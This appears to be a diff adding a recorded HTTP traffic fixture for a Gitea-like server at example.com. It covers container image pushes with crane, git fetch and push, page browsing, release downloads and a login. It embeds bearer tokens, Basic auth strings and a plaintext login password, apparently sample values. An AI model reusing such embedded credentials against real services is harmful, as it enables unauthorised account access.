+{"method": "HEAD", "target": "/v2/alice/python3-app/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 144", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "H4sIAAAAAAAE/+zRQQoCIRTG8bfuFJ6g+Wu+8TwughYDymTQ8YOaNhK0More+y1E3ej35VonGTwASVV4TL8CiNeQFB9jQvAcohenQ1+1uZxbXp2TtZS2Hb307v5H5Vqn03FZyr5dR/0PYI6x7/25B+au/xDw4vhEpn/e/7373fiYjTHGfJfbAH2FcNwACgAA"}
+{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/iljdbd0gxw2zdibpfrajzu?digest=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PATCH", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 233", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": "{\"architecture\":\"\",\"created\":\"0001-01-01T00:00:00Z\",\"history\":[{\"created\":\"0001-01-01T00:00:00Z\"}],\"os\":\"\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:19e75beae854ceb749acf78607bea3b2c0b04b74bbcc28f15e846683cf8e0b9d\"]},\"config\":{}}"}
+{"method": "PUT", "target": "/v2/alice/python3-app/blobs/uploads/1eu6yk4t4l8lmbsedmyw9l?digest=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/octet-stream", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PUT", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "HEAD", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apush%2Cpull&scope=repository%3Aalice%2Fpython3-app%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3Af4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/v2/alice/docker-build/blobs/uploads/?from=alice%2Fpython3-app&mount=sha256%3A1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068&origin=example.com", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 0", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/json", "Accept-Encoding: gzip"], "body": ""}
+{"method": "PUT", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Content-Length: 423", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Content-Type: application/vnd.docker.distribution.manifest.v2+json", "Accept-Encoding: gzip"], "body": "{\"schemaVersion\":2,\"mediaType\":\"application/vnd.docker.distribution.manifest.v2+json\",\"config\":{\"mediaType\":\"application/vnd.docker.container.image.v1+json\",\"size\":233,\"digest\":\"sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d\"},\"layers\":[{\"mediaType\":\"application/vnd.docker.image.rootfs.diff.tar.gzip\",\"size\":144,\"digest\":\"sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068\"}]}"}
+{"method": "GET", "target": "/v2/alice/python3-app/tags/list?n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/python3-app/tags/list?last=1.0&n=1000", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fdocker-build%3Apull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/manifests/latest", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:f4c0b6312e4a446199d113e4858a0fd16aa27ea9edd150ba18dd9617cc44442d", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "GET", "target": "/v2/alice/docker-build/blobs/sha256:1854e725e9328a03d70efaa86ee7b8b824558607f656efcfc81519a9c4621068", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0", "Accept-Encoding: gzip"], "body": ""}
+{"method": "POST", "target": "/alice/tools.git/git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-upload-pack-request", "Accept: application/x-git-upload-pack-result", "Git-Protocol: version=2", "Content-Length: 473"], "body": "0011command=fetch001aagent=git/2.49.1-Linux0016object-format=sha10001000dthin-pack000fno-progress000dofs-delta0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want 4b5ec1aab65272b63b5b1f39bfc2c14684c063a0\n0032want 0992a6293c77c3ef1f9a8d37b774deddcbef2e23\n0032want f7ffa60396d99f61315a5a9a225fc32eb6228fdb\n0032want bbe5223a9a4f84e7c3d7206f4bdd062239e8309b\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0032want 15e1fb0f45ffdb9d4d07ccf23b8971fca09ab2ca\n0009done\n0000"}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 519"], "body": "MDBiZDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgY2M0ZDVlMDVlMWIzMTg0ZjQ3MTZlZDE1OGQyNWI4Y2ZhZTM4NzU0MyByZWZzL2hlYWRzL2RvY2tlci1idWlsZAAgcmVwb3J0LXN0YXR1cy12MiBzaWRlLWJhbmQtNjRrIHF1aWV0IG9iamVjdC1mb3JtYXQ9c2hhMSBhZ2VudD1naXQvMi40OS4xLUxpbnV4MDAwMFBBQ0sAAAACAAAABJENeJyVi10KwjAQBt9zirwLkp+2mwURffcSm80XLLS2tBE8vvUIzsvAwLQNsIQsA+D7mAjJkfOSMVTppEKZNUCVAwezyoZXs445yBA4KpFGVF9ZUomUibqCUjSjBoRo5N2ey2bv06iwF/npho/M64SzLvPVeuIupuD73p7cgTnqPLaGvybzGPdm6zhhN18fLT8K8AKeTXt+RMTzqiOmBNVYae5fWGAYnHice8b0jGmDCaOIb2jBcr50ZZ79x/sfSmXMOBZVkFs42YNRDgDQmAyf9gKBbcdPQPqMH4Wr8ShABeE9G0Q2EXic62RcwzjBRCYns7hErziDQav39///EVurZi0SCOP5u3X/31Yu/om6MQA3nhDoN3icyylW0M1J5AIACRECBP3ERXDJ4M4Guqo/ktYk+wdQ6W4g"}
+{"method": "POST", "target": "/alice/tools.git/git-receive-pack", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: git/2.49.1", "Accept-Encoding: deflate, gzip, br, zstd", "Content-Type: application/x-git-receive-pack-request", "Accept: application/x-git-receive-pack-result", "Content-Length: 193"], "body": "00bdcc4d5e05e1b3184f4716ed158d25b8cfae387543 0000000000000000000000000000000000000000 refs/heads/docker-build\u0000 report-status-v2 side-band-64k quiet object-format=sha1 agent=git/2.49.1-Linux0000"}
+{"method": "GET", "target": "/alice/powershell-scripts.git/info/refs?service=git-upload-pack", "headers": ["Host: example.com", "User-Agent: git/2.49.1", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Pragma: no-cache", "Git-Protocol: version=2"], "body": ""}
+{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/repos", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/explore/users?q=alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/explore/users?q=alice", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/raw/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/issues", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/tag/v1.1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/wiki", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/generic/tools/1.2.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/container/python3-app/1.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/download/v1.1.0/tools-linux-amd64.tar.gz", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "GET", "target": "/alice/tools/releases/download/v1.2.0/install-script.sh", "headers": ["user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "accept: */*", "accept-encoding: gzip,deflate,br", "cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Host: example.com", "Connection: keep-alive"], "body": ""}
+{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 43", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml"], "body": "user_name=alice&password=Hv4-mQz8-Lr2x-Tp9w"}
+{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login?redirect_to=%2Falice%2Ftools%2F_edit%2Fmain%2Fdocker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/eventsource.sharedworker.js?v=17.0.1~gitea-1.22.0", "headers": ["Host: example.com", "Connection: keep-alive", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/-/packages/generic/install-script/1.0.0", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=371401f8fa63ecd5; lang=en-US"], "body": ""}
